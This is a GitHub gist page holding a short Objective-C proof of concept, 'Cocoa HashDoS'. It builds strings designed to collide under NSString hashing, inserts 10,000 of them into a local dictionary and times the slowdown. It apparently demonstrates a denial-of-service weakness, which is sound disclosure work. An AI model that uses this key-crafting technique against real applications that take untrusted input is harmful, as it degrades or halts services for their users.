Skip to content

Instantly share code, notes, and snippets.

@dchest
Last active December 10, 2015 17:28
Show Gist options
  • Save dchest/4467707 to your computer and use it in GitHub Desktop.
Save dchest/4467707 to your computer and use it in GitHub Desktop.
Cocoa HashDoS
#import <Foundation/Foundation.h>
NSString *collidingString() {
char rs[15];
for (int i = 0; i < 14; i++)
rs[i] = arc4random_uniform('Z'-'A') + 'A';
rs[14] = 0;
return [NSString stringWithFormat:@"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa%saaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa________________aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",
rs];
}
int main(int argc, const char * argv[])
{
@autoreleasepool {
NSMutableDictionary *d = [[NSMutableDictionary alloc] init];
NSDate *start = [NSDate date];
// Insert.
for (int i = 0; i < 10000; i++) {
NSString *key = collidingString();
[d setValue:@"some value" forKey:key];
}
NSLog(@"%f", [[NSDate date] timeIntervalSinceDate:start]);
}
return 0;
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment